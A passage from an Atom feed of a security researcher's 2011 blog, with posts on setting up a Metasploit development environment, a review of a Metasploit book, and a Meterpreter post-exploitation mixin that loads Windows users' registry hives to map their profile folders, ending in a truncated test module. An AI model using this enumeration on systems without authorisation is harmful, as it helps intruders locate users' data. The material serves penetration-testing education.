type='text/html' href='http://cosine-security.blogspot.com/2011/07/metasploit-dumping-microsoft-sql-server.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/685313999475242751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/685313999475242751'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/07/metasploit-dumping-microsoft-sql-server.html' title='Metasploit: Dumping Microsoft SQL Server Hashes'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-4696851983792990064</id><published>2011-07-29T10:11:00.000-07:00</published><updated>2011-07-31T09:01:59.115-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Metasploit Development Environment In Ubuntu</title><content type='html'>I have spent some time today getting a new Metasploit Development Environment in place. With a lot of help from DarkOperator and egyp7 I think I have succeeded.&lt;br /&gt;&lt;br /&gt;Step 1: Installing some Pre-Reqs&lt;br /&gt;&lt;br /&gt;&lt;i&gt;sudo aptitude install build-essential libssl-dev  zlib1g zlib1g-dev subversion openssh-server screen bison flex jam  exuberant-ctags libreadline-dev libxml2-dev libxslt-dev libpcap-dev libmysqlclient-dev libpq-dev curl git libsqlite3-dev&lt;/i&gt;&lt;br /&gt;Step 2 Installing RVM&lt;br /&gt;&lt;br /&gt;&lt;i&gt;sudo bash &amp;lt; &amp;lt;(curl -s https://rvm.beginrescueend.com/install/rvm)&lt;/i&gt;&lt;br /&gt;Edit your .bashrc file for each user that will be using RVM:&lt;br /&gt;And add the following lines to the end of it:&lt;br /&gt;&lt;i&gt;# Load RVM source if [[ -s "/usr/local/rvm/scripts/rvm" ]] ; then source "/usr/local/rvm/scripts/rvm" ; fi # Enable Tab Completion in RVM [[ -r /usr/local/rvm//scripts/completion ]] &amp;amp;&amp;amp; source /usr/local/rvm/scripts/completion&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Then from bash run:&lt;span class="Apple-style-span" style="color: #111111; font-family: Consolas, 'Andale Mono', Monaco, Courier, 'Courier New', Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px; white-space: pre;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; line-height: 21px; white-space: pre;"&gt; &lt;/span&gt;&lt;i&gt;source /usr/local/rvm/scripts/rvm&lt;/i&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; line-height: 21px; white-space: pre;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;Next we install some necessary packages for rvm:&lt;span class="Apple-style-span" style="color: #262626; font-family: consolas, 'Courier New', courier, monospace;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;rvm pkg install zlib&lt;br /&gt;rvm pkg install openssl&lt;br /&gt;rvm pkg install readline&lt;/i&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; line-height: 21px; white-space: pre;"&gt;&lt;i&gt; &lt;/i&gt;&lt;/span&gt;&lt;br /&gt;Then we install the ruby versions we want&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;br /&gt;rvm install 1.9.2 --with-zlib-dir=$rvm_path/usr --with-openssl-dir=$rvm_path/usr --with-readline-path=$rvm_path/usr&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;rvm 1.9.2 --default&lt;br /&gt;&lt;br /&gt;rvm install 1.9.1 --with-zlib-dir=$rvm_path/usr --with-openssl-dir=$rvm_path/usr --with-readline-path=$rvm_path/usr&lt;br /&gt;&lt;br /&gt;rvm install 1.8.7 --with-zlib-dir=$rvm_path/usr --with-openssl-dir=$rvm_path/usr --with-readline-path=$rvm_path/usr&lt;/i&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: consolas, 'Courier New', courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: 12px; line-height: 21px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Then we install some needed Gems:&lt;br /&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: consolas, 'Courier New', courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: 12px; line-height: 21px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;rvm gem install --no-rdoc --no-ri wirble pry pg nokogiri mysql sdoc msgpack hpricot sqlite3-ruby&lt;/i&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; line-height: 21px; white-space: pre;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Step 3: Adding DarkOperator's IRB customizations:&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Create a file ~/.irbrc&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The file should look like this:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre style="background-color: #fbfbfb; border-bottom-color: rgb(206, 206, 206); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(206, 206, 206); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(206, 206, 206); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(206, 206, 206); border-top-style: solid; border-top-width: 1px; min-height: 40px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; width: 650px;"&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 24px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: darkblue;"&gt;puts&lt;/span&gt; "&lt;span style="color: darkred;"&gt;Loaded ~/.irbrc&lt;/span&gt;"&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 24px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: green;"&gt;# Load Lobraries&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 24px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: darkblue;"&gt;require&lt;/span&gt; 'rubygems'&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 21px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: darkblue;"&gt;require&lt;/span&gt; 'wirble'&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 26px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: darkblue;"&gt;require&lt;/span&gt; 'irb/completion' &lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 22px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: green;"&gt;# Enable Indentation in irb&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 22px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;IRB.conf[:AUTO_INDENT] = &lt;span style="color: blue;"&gt;true&lt;/span&gt; &lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 23px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: green;"&gt;# Enable Syntax Coloring &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 27px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;Wirble.init&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 26px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;Wirble.colorize &lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 27px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: green;"&gt;# get all the methods for an object that aren't basic methods from Object&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 26px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: blue;"&gt;class&lt;/span&gt; &lt;a href="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html" style="color: red; text-decoration: none;"&gt;Object&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 27px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: blue;"&gt;def&lt;/span&gt; local_methods&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 29px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;(methods - &lt;a href="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Object.html" style="color: red; text-decoration: none;"&gt;Object&lt;/a&gt;.instance_methods).sort&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 24px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: blue;"&gt;end&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="background-color: white; font-family: consolas, 'Courier New', courier, monospace; font-size: 12px; height: 26px; margin-bottom: 0em; margin-left: 0em; margin-right: 0em; margin-top: 0em; width: 650px;"&gt;&lt;span class="Apple-style-span" style="color: #262626; font-family: Arial, Helvetica, Geneva, sans-serif; font-size: 12px; line-height: 21px;"&gt;&lt;span style="color: blue;"&gt;end&lt;/span&gt; &lt;/span&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;span class="Apple-style-span" style="color: #111111; font-family: Consolas, 'Andale Mono', Monaco, Courier, 'Courier New', Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px; white-space: pre;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;This customizes irb to give us syntax highlighting, tab completion, auto-indentation, and simple method enumeration.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Step 4: Installing Metasploit:&lt;/div&gt;&lt;div&gt;&lt;a href="https://community.rapid7.com/docs/DOC-1293"&gt;Metasploit install documentation&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Step 5: Running Metasploit:&lt;/div&gt;&lt;div&gt;If you want to run msfconsole with the packaged Ruby, just run 'msfconsole' from bash.&lt;/div&gt;&lt;div&gt;Otherwise select your version like this: rvm 1.8.7&lt;/div&gt;&lt;div&gt;Then call msfconsole with the full path: /opt/metasploit/msf3/msfconsole&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;That's all there is to it. You are now ready to test your metasploit modules in various different versions of ruby all from the same box.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Once again, thanks to egypt and DarkOperator who provided a lot of this guidance to me.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-4696851983792990064?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/4696851983792990064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/07/metasploit-development-environment-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4696851983792990064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4696851983792990064'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/07/metasploit-development-environment-in.html' title='Metasploit Development Environment In Ubuntu'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-4952610516147080480</id><published>2011-07-26T08:10:00.000-07:00</published><updated>2011-07-26T08:34:31.895-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='book review'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Book Review: Metasploit a Penetration Tester's Guide</title><content type='html'>Earlier this month I picked up &lt;a href="http://nostarch.com/metasploit.htm"&gt;Metasploit: A Penetration Tester's Guide&lt;/a&gt;. I have, on multiple occasions, had the distinct pleasure to talk with two of the authours, &lt;a href="http://twitter.com/#!/dookie2000ca"&gt;Devon Kearns&lt;/a&gt; and &lt;a href="http://twitter.com/#!/dave_rel1k"&gt;Dave Kennedy&lt;/a&gt;. These two are shining examples of everything that is right with our industry. They are constantly giving back to the community at large and on an&amp;nbsp;individual&amp;nbsp;basis. They help others and share their&amp;nbsp;knowledge&amp;nbsp;and experience freely without any judgement. This book is&amp;nbsp;just&amp;nbsp;an extension of that behaviour. So enough about them, let's talk about the book.&lt;br /&gt;&lt;br /&gt;The book seeks to give a&amp;nbsp;complete&amp;nbsp;overview of the Metasploit framework. This is a herculean task. They no doubt had to make hard decisions about what topics to cover as the most&amp;nbsp;important. All things&amp;nbsp;considered, I think they did an amazing job covering the most important facets. They start off with the basics of the framework: how it's laid out, auxiliary modules, scanners, exploits, getting shell, and what to do once you get a meterpreter session. Then we get to see some of the more advanced aspects, including writing custom fuzzers, developing exploits form scratch, and porting existing exploits into the framework. The book finishes up with a small example penetration test from start to finish. The only topic that they really seemed to skip was the &lt;a href="http://dev.metasploit.com/redmine/projects/framework/wiki/WMAP"&gt;Metasploit WMAP web scanning functionality&lt;/a&gt;. Although some Web&amp;nbsp;Application&amp;nbsp;topics were covered through the use of FastTrack.&lt;br /&gt;&lt;br /&gt;The way the authours cover the subject matter is excellent. They show you each step, and call your attention to the&amp;nbsp;most&amp;nbsp;improtant parts along the way. It's as close as you can get to demonstration in a book, and it works very well in my opinion. They truly highlight what makes Metasploit great: it's flexibility. they show you how to modify existing modules or write your own. They show how you can use Metasploit in the actual exploit development process as well. Allowing you to birth new exploits completely in the Framework.&lt;br /&gt;&lt;br /&gt;I have been using Metasploit since version 2, and I learned new things from this book. Whether it was small things like the SETG command, to some of the more advanced features I have never used before like msfpescan. Whether you are just starting to learn about Penetration Testing or you have been doing it from years, this book is a must read. Unless you are H.D. Moore you will be&amp;nbsp;hard&amp;nbsp;pressed not to get value from this book.&lt;br /&gt;&lt;br /&gt;UPDATE: On a note of fairness, Metasploit Unleashed does cover &lt;a href="http://www.offensive-security.com/metasploit-unleashed/WMAP_Web_Scanner"&gt;WMAP&lt;/a&gt; functionality, even if it did not make it into the book.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-4952610516147080480?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/4952610516147080480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/07/book-review-metasploit-penetration.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4952610516147080480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4952610516147080480'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/07/book-review-metasploit-penetration.html' title='Book Review: Metasploit a Penetration Tester&apos;s Guide'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-7505214504835116497</id><published>2011-07-23T18:19:00.000-07:00</published><updated>2011-07-23T18:19:38.933-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Metasploit: Windows User Profile Data</title><content type='html'>The Metasploit team as added one of my latest submissions. It is a Mixin for Post modules that allows you to enumerate the user profile information on a windows machine. A lot of the psot modules that I and others have written relied on static values for determining paths for things like the AppData folder. While this worked, it was hardcoded for the English&amp;nbsp;language&amp;nbsp;and didn't account for other possible changes to the system.&lt;br /&gt;&lt;br /&gt;The new&amp;nbsp;Msf::Post::Windows::UserProfiles mixin seeks to address this issue by using the registry. Two new Registry functions were added into every layer of Meterpreter: &lt;b&gt;&lt;u&gt;RegLoadKey()&lt;/u&gt;&lt;/b&gt; and&lt;b&gt;&lt;u&gt; RegUnloadKey()&lt;/u&gt;&lt;/b&gt;. These two&amp;nbsp;functions,&amp;nbsp;incidentally, should also work from a windows shell session.&lt;br /&gt;&lt;br /&gt;The first step is to look in the Registry under HKLM/Software/Microsoft/WindowsNT/CurrentVersion/ProfileList&lt;br /&gt;There are a series of subkeys here for the different SIDs that exist on the machine. When we look at each SID's subkey we will see a value called ProfileImagePath which is the user's root profile directory.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-fIdZDj_PigE/TitfZWbfhrI/AAAAAAAAABc/L2y4S6QDiMQ/s1600/hklm_profilelist.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="484" src="http://2.bp.blogspot.com/-fIdZDj_PigE/TitfZWbfhrI/AAAAAAAAABc/L2y4S6QDiMQ/s640/hklm_profilelist.bmp" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The first function in the mixin is &lt;b&gt;&lt;u&gt;read_profile_list()&lt;/u&gt;&lt;/b&gt;. This parses this key and all of it's subkeys. While it's doing that it reads through HKU to see which of these hives are already&amp;nbsp;loaded&amp;nbsp;and&amp;nbsp;marks&amp;nbsp;them appropriately.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This lets us know what&amp;nbsp;users&amp;nbsp;we should expect to see on the system, and where we can find their NTUSER.DAT file. If we look at the HKU key in our example, we see only the Administrator hive is currently loaded.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-b6CL5RIpaLE/TitfcC53BQI/AAAAAAAAABk/eq1OeoFhQRc/s1600/HKU_unloaded.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="438" src="http://2.bp.blogspot.com/-b6CL5RIpaLE/TitfcC53BQI/AAAAAAAAABk/eq1OeoFhQRc/s640/HKU_unloaded.bmp" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;So, next the &lt;b&gt;&lt;u&gt;load_missing_hives()&lt;/u&gt;&lt;/b&gt; function takes all of the hives not currently loaded, and the&amp;nbsp;paths&amp;nbsp;to their registry hives, and&amp;nbsp;loads&amp;nbsp;each one that it can. Below we see the additional Hives loaded into HKU.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Vpr4MriqvOY/TitfZSHEw_I/AAAAAAAAABY/iK02K7dFOBU/s1600/hku_loaded.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="484" src="http://4.bp.blogspot.com/-Vpr4MriqvOY/TitfZSHEw_I/AAAAAAAAABY/iK02K7dFOBU/s640/hku_loaded.bmp" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;We then call &lt;b&gt;&lt;u&gt;parse_profiles()&lt;/u&gt;&lt;/b&gt;, which takes each hive and calls &lt;b&gt;&lt;u&gt;parse_profile()&lt;/u&gt; &lt;/b&gt;on it. This pulls the locations of directories like AppData, My Documents, Local Settingsd etc, and assembles it all. We can see the reg key under the user (HKU/&lt;sid&gt;/Software/Microsoft/WindowsNT/CurrentVersion/Explorer/ShellFolders)&lt;/sid&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-b7-766l1Dvo/TitfaTBhTcI/AAAAAAAAABg/i3qZrZSDghM/s1600/hku_profile.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="http://3.bp.blogspot.com/-b7-766l1Dvo/TitfaTBhTcI/AAAAAAAAABg/i3qZrZSDghM/s640/hku_profile.bmp" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;When we are done parsing this data, we may be done with the registry&amp;nbsp;hives&amp;nbsp;themselves, assuming we were only after filesystem data. Since we are done with the hives, we will want to unload them again to minimize our impact on the system. To do that we call &lt;b&gt;&lt;u&gt;unload_our_hives()&lt;/u&gt;&lt;/b&gt; This function unloads only the&amp;nbsp;hives&amp;nbsp;that we specifically loaded.&lt;br /&gt;&lt;br /&gt;All of these functions are exposed in the mixin, meaning that module writers can use as much or as little of it as they want. However, if the module writer just wants to grab the profile directory data, they can just call &lt;b&gt;&lt;u&gt;grab_user_profiles()&lt;/u&gt;&lt;/b&gt; . This function will walk through the entire process for them, returning an array of hashes containing all of this data. Below we see an example/test module to demonstrate the UserProfile functionality.&lt;br /&gt;&lt;br /&gt;-------------------------------------------&lt;br /&gt;&lt;br /&gt;require 'msf/core'&lt;br /&gt;require 'rex'&lt;br /&gt;require 'msf/core/post/windows/user_profiles'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class Metasploit3 &amp;lt; Msf::Post&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;include Msf::Post::Windows::Registry&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;include Msf::Post::Windows::UserProfiles&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;def initialize(info={})&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;super( update_info( info,&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;'Name' &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;=&amp;gt; 'Windows Load Reg Hive Test',&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;'Description' &amp;nbsp; =&amp;gt; %q{ This module exists simply to test&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;the user profile enuemration mixin},&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;'License' &amp;nbsp; &amp;nbsp; &amp;nbsp; =&amp;gt; MSF_LICENSE,&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;'Author' &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;=&amp;gt; [ 'TheLightCosine &lt;thelightcosine@gmail.com&gt;'],&lt;/thelightcosine@gmail.com&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;'Platform' &amp;nbsp; &amp;nbsp; &amp;nbsp;=&amp;gt; [ 'windows' ],&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;'SessionTypes' &amp;nbsp;=&amp;gt; [ 'meterpreter' ]&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;))&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;end&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;def run&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;grab_user_profiles().each do |user|&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: 